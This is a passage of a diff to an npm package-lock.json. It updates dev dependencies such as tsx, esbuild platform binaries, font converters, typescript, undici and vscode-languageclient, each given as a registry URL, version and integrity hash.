"sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==", + "dev": true + }, + "tsx": { + "version": "4.20.6", + "resolved": "https://registry.npmjs.org/tsx/-/tsx-4.20.6.tgz", + "integrity": "sha512-ytQKuwgmrrkDTFP4LjR0ToE2nqgy886GpvRSpU0JAnrdBYppuY5rLkRUYPU1yCryb24SsKBTL/hlDQAEFVwtZg==", + "dev": true, + "requires": { + "esbuild": "~0.25.0", + "fsevents": "~2.3.3", + "get-tsconfig": "^4.7.5" + }, + "dependencies": { + "@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "dev": true, + "optional": true + }, + "@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "dev": true, + "optional": true + }, + "@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "dev": true, + "optional": true + }, + "@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "dev": true, + "optional": true + }, + "@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "dev": true, + "optional": true + }, + "@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==", + "dev": true, + "optional": true + }, + "@esbuild/freebsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz", + "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==", + "dev": true, + "optional": true + }, + "@esbuild/freebsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz", + "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==", + "dev": true, + "optional": true + }, + "@esbuild/linux-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz", + "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==", + "dev": true, + "optional": true + }, + "@esbuild/linux-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz", + "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==", + "dev": true, + "optional": true + }, + "@esbuild/linux-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz", + "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==", + "dev": true, + "optional": true + }, + "@esbuild/linux-loong64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz", + "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==", + "dev": true, + "optional": true + }, + "@esbuild/linux-mips64el": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz", + "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==", + "dev": true, + "optional": true + }, + "@esbuild/linux-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz", + "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==", + "dev": true, + "optional": true + }, + "@esbuild/linux-riscv64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz", + "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==", + "dev": true, + "optional": true + }, + "@esbuild/linux-s390x": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz", + "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==", + "dev": true, + "optional": true + }, + "@esbuild/linux-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz", + "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==", + "dev": true, + "optional": true + }, + "@esbuild/netbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz", + "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==", + "dev": true, + "optional": true + }, + "@esbuild/netbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz", + "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==", + "dev": true, + "optional": true + }, + "@esbuild/openbsd-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz", + "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==", + "dev": true, + "optional": true + }, + "@esbuild/openbsd-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz", + "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==", + "dev": true, + "optional": true + }, + "@esbuild/openharmony-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz", + "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==", + "dev": true, + "optional": true + }, + "@esbuild/sunos-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz", + "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==", + "dev": true, + "optional": true + }, + "@esbuild/win32-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz", + "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==", + "dev": true, + "optional": true + }, + "@esbuild/win32-ia32": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz", + "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==", + "dev": true, + "optional": true + }, + "@esbuild/win32-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz", + "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==", + "dev": true, + "optional": true + }, + "esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "requires": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + } + } + }, + "ttf2eot": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ttf2eot/-/ttf2eot-2.0.0.tgz", + "integrity": "sha512-U56aG2Ylw7psLOmakjemAzmpqVgeadwENg9oaDjaZG5NYX4WB6+7h74bNPcc+0BXsoU5A/XWiHabDXyzFOmsxQ==", "dev": true, "requires": { - "rimraf": "^3.0.0" + "argparse": "^1.0.6", + "microbuffer": "^1.0.0" + }, + "dependencies": { + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "requires": { + "sprintf-js": "~1.0.2" + } + } } }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "ttf2woff": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/ttf2woff/-/ttf2woff-3.0.0.tgz", + "integrity": "sha512-OvmFcj70PhmAsVQKfC15XoKH55cRWuaRzvr2fpTNhTNer6JBpG8n6vOhRrIgxMjcikyYt88xqYXMMVapJ4Rjvg==", "dev": true, "requires": { - "is-number": "^7.0.0" + "argparse": "^2.0.1", + "pako": "^1.0.0" } }, - "traverse": { - "version": "0.3.9", - "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.3.9.tgz", - "integrity": "sha1-cXuPIgzAu3tE5AUUwisui7xw2Lk=", - "dev": true - }, - "tslib": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", - "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==", - "dev": true - }, - "tsutils": { - "version": "3.21.0", - "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz", - "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==", + "ttf2woff2": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/ttf2woff2/-/ttf2woff2-4.0.5.tgz", + "integrity": "sha512-zpoU0NopfjoyVqkFeQ722SyKk/n607mm5OHxuDS/wCCSy82B8H3hHXrezftA2KMbKqfJIjie2lsJHdvPnBGbsw==", "dev": true, "requires": { - "tslib": "^1.8.1" + "bindings": "^1.5.0", + "bufferstreams": "^3.0.0", + "nan": "^2.14.2", + "node-gyp": "^9.0.0" } }, "tunnel": { @@ -6368,12 +20273,19 @@ "tunnel-agent": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", - "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", + "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==", "dev": true, + "optional": true, "requires": { "safe-buffer": "^5.0.1" } }, + "type": { + "version": "2.7.3", + "resolved": "https://registry.npmjs.org/type/-/type-2.7.3.tgz", + "integrity": "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ==", + "dev": true + }, "type-check": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", @@ -6383,6 +20295,12 @@ "prelude-ls": "^1.2.1" } }, + "type-detect": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.1.0.tgz", + "integrity": "sha512-Acylog8/luQ8L7il+geoSxhEkazvkslg7PSNKOX59mbB9cOveP5aq9h74Y7YU8yDpJwetzQQrfIwtf4Wp4LKcw==", + "dev": true + }, "type-fest": { "version": "0.20.2", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", @@ -6390,9 +20308,9 @@ "dev": true }, "typed-rest-client": { - "version": "1.8.6", - "resolved": "https://registry.npmjs.org/typed-rest-client/-/typed-rest-client-1.8.6.tgz", - "integrity": "sha512-xcQpTEAJw2DP7GqVNECh4dD+riS+C1qndXLfBCJ3xk0kqprtGN491P5KlmrDbKdtuW8NEcP/5ChxiJI3S9WYTA==", + "version": "1.8.11", + "resolved": "https://registry.npmjs.org/typed-rest-client/-/typed-rest-client-1.8.11.tgz", + "integrity": "sha512-5UvfMpd1oelmUPRbbaVnq+rHP7ng2cE4qoQkQeAqxRL6PklkxsM0g32/HL0yfvruK6ojQ5x8EE+HF4YV6DtuCA==", "dev": true, "requires": { "qs": "^6.9.1", @@ -6401,39 +20319,117 @@ } }, "typescript": { - "version": "4.5.2", - "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.5.2.tgz", - "integrity": "sha512-5BlMof9H1yGt0P8/WF+wPNw6GfctgGjXp5hkblpyT+8rkASSmkUKMXrxR0Xg8ThVCi/JnHQiKXeBaEwCeQwMFw==", + "version": "5.9.3", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", + "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==", "dev": true }, "uc.micro": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-1.0.6.tgz", - "integrity": "sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==", + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-2.1.0.tgz", + "integrity": "sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A==", "dev": true }, + "uglify-js": { + "version": "3.19.3", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.19.3.tgz", + "integrity": "sha512-v3Xu+yuwBXisp6QYTcH4UbH+xYJXqnq2m/LtQVWKWzYc1iehYnLixoQDN9FH6/j9/oybfd6W9Ghwkl8+UMKTKQ==", + "dev": true, + "optional": true + }, + "unbzip2-stream": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/unbzip2-stream/-/unbzip2-stream-1.4.3.tgz", + "integrity": "sha512-mlExGW4w71ebDJviH16lQLtZS32VKqsSfk80GCfUlwT/4/hNRFsoscrF/c++9xinkMzECL1uL9DDwXqFWkruPg==", + "dev": true, + "requires": { + "buffer": "^5.2.1", + "through": "^2.3.8" + } + }, "underscore": { - "version": "1.13.1", - "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.1.tgz", - "integrity": "sha512-hzSoAVtJF+3ZtiFX0VgfFPHEDRm7Y/QPjGyNo4TVdnDTdft3tr8hEkD25a1jC+TjTuE7tkHGKkhwCgs9dgBB2g==", + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.6.tgz", + "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==", "dev": true }, - "unzipper": { - "version": "0.10.11", - "resolved": "https://registry.npmjs.org/unzipper/-/unzipper-0.10.11.tgz", - "integrity": "sha512-+BrAq2oFqWod5IESRjL3S8baohbevGcVA+teAIOYWM3pDVdseogqbzhhvvmiyQrUNKFUnDMtELW3X8ykbyDCJw==", + "undici": { + "version": "5.29.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-5.29.0.tgz", + "integrity": "sha512-raqeBD6NQK4SkWhQzeYKd1KmIG6dllBOTt55Rmkt4HtI9mwdWtJljnrXjAFUBLTSN67HWrOIZ3EPF4kjUw80Bg==", "dev": true, "requires": { - "big-integer": "^1.6.17", - "binary": "~0.3.0", - "bluebird": "~3.4.1", - "buffer-indexof-polyfill": "~1.0.0", - "duplexer2": "~0.1.4", - "fstream": "^1.0.12", - "graceful-fs": "^4.2.2", - "listenercount": "~1.0.1", - "readable-stream": "~2.3.6", - "setimmediate": "~1.0.4" + "@fastify/busboy": "^2.0.0" + } + }, + "undici-types": { + "version": "6.21.0", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.21.0.tgz", + "integrity": "sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==", + "dev": true + }, + "unicorn-magic": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/unicorn-magic/-/unicorn-magic-0.3.0.tgz", + "integrity": "sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA==", + "dev": true + }, + "unique-filename": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/unique-filename/-/unique-filename-2.0.1.tgz", + "integrity": "sha512-ODWHtkkdx3IAR+veKxFV+VBkUMcN+FaqzUUd7IZzt+0zhDZFPFxhlqwPF3YQvMHx1TD0tdgYl+kuPnJ8E6ql7A==", + "dev": true, + "requires": { + "unique-slug": "^3.0.0" + } + }, + "unique-slug": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/unique-slug/-/unique-slug-3.0.0.tgz", + "integrity": "sha512-8EyMynh679x/0gqE9fT9oilG+qEt+ibFyqjuVTsZn1+CMxH+XLlpvr2UZx4nVcCwTpx81nICr2JQFkM+HPLq4w==", + "dev": true, + "requires": { + "imurmurhash": "^0.1.4" + } + }, + "universal-github-app-jwt": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/universal-github-app-jwt/-/universal-github-app-jwt-1.2.0.tgz", + "integrity": "sha512-dncpMpnsKBk0eetwfN8D8OUHGfiDhhJ+mtsbMl+7PfW7mYjiH8LIcqRmYMtzYLgSh47HjfdBtrBwIQ/gizKR3g==", + "dev": true, + "requires": { + "@types/jsonwebtoken": "^9.0.0", + "jsonwebtoken": "^9.0.2" + } + }, + "universal-user-agent": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.1.tgz", + "integrity": "sha512-yCzhz6FN2wU1NiiQRogkTQszlQSlpWaw8SvVegAc+bDxbzHgh1vX8uIe8OYyMH6DwH+sdTJsgMl36+mSMdRJIQ==", + "dev": true + }, + "universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true + }, + "upper-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-2.0.2.tgz", + "integrity": "sha512-KgdgDGJt2TpuwBUIjgG6lzw2GWFRCW9Qkfkiv0DxqHHLYJHmtmdUIKcZd8rHgFSjopVTlw6ggzCm1b8MFQwikg==", + "dev": true, + "requires": { + "tslib": "^2.0.3" + } + }, + "upper-case-first": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/upper-case-first/-/upper-case-first-2.0.2.tgz", + "integrity": "sha512-514ppYHBaKwfJRK/pNC6c/OxfGa0obSnAl106u97Ed0I625Nin96KAjttZF6ZL3e1XLtphxnqrOi9iWgm+u+bg==", + "dev": true, + "requires": { + "tslib": "^2.0.3" } }, "uri-js": { @@ -6454,41 +20450,148 @@ "util-deprecate": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=", + "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", "dev": true }, - "v8-compile-cache": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", - "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", + "v8-to-istanbul": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-9.3.0.tgz", + "integrity": "sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==", + "dev": true, + "requires": { + "@jridgewell/trace-mapping": "^0.3.12", + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^2.0.0" + } + }, + "validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "requires": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "varstream": { + "version": "0.3.2", + "resolved": "https://registry.npmjs.org/varstream/-/varstream-0.3.2.tgz", + "integrity": "sha512-OpR3Usr9dGZZbDttlTxdviGdxiURI0prX68+DuaN/JfIDbK9ZOmREKM6PgmelsejMnhgjXmEEEgf+E4NbsSqMg==", + "dev": true, + "requires": { + "readable-stream": "^1.0.33" + }, + "dependencies": { + "isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha512-D2S+3GLxWH+uhrNEcoh/fnmYeP8E8/zHl644d/jdA0g2uyXvy3sb0qxotE+ne0LtccHknQzWwZEzhak7oJ0COQ==", + "dev": true + }, + "readable-stream": { + "version": "1.1.14", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", + "integrity": "sha512-+MeVjFf4L44XUkhM1eYbD8fyEsxcV81pqMSR5gblfcLCHfZvbrqy4/qYHE+/R5HoBUT11WV5O08Cr1n3YXkWVQ==", + "dev": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "string_decoder": { + "version": "0.10.31", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-0.10.31.tgz", + "integrity": "sha512-ev2QzSzWPYmy9GuqfIVildA4OdcGLeFZQrq5ys6RtiuF+RQQiZWr8TZNyAcuVXyQRYfEO+MsoB/1BuQVhOJuoQ==", + "dev": true + } + } + }, + "version-range": { + "version": "4.15.0", + "resolved": "https://registry.npmjs.org/version-range/-/version-range-4.15.0.tgz", + "integrity": "sha512-Ck0EJbAGxHwprkzFO966t4/5QkRuzh+/I1RxhLgUKKwEn+Cd8NwM60mE3AqBZg5gYODoXW0EFsQvbZjRlvdqbg==", + "dev": true + }, + "vscode-jsonrpc": { + "version": "8.2.0", + "resolved": "https://registry.npmjs.org/vscode-jsonrpc/-/vscode-jsonrpc-8.2.0.tgz", + "integrity": "sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA==" + }, + "vscode-languageclient": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/vscode-languageclient/-/vscode-languageclient-9.0.1.tgz", + "integrity": "sha512-JZiimVdvimEuHh5olxhxkht09m3JzUGwggb5eRUkzzJhZ2KjCN0nh55VfiED9oez9DyF8/fz1g1iBV3h+0Z2EA==", + "requires": { + "minimatch": "^5.1.0", + "semver": "^7.3.7", + "vscode-languageserver-protocol": "3.17.5" + }, + "dependencies": { + "brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "requires": { + "balanced-match": "^1.0.0" + } + }, + "minimatch": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.2.tgz", + "integrity": "sha512-bNH9mmM9qsJ2X4r2Nat1B//1dJVcn3+iBLa3IgqJ7EbGaDNepL9QSHOxN4ng33s52VMMhhIfgCYDk3C4ZmlDAg==", + "requires": { + "brace-expansion": "^2.0.1" + } + } + } + }, + "vscode-languageserver-protocol": { + "version": "3.17.5", + "resolved": "https://registry.npmjs.org/vscode-languageserver-protocol/-/vscode-languageserver-protocol-3.17.5.tgz", + "integrity": "sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg==", + "requires": { + "vscode-jsonrpc": "8.2.0", + "vscode-languageserver-types": "3.17.5" + } + }, + 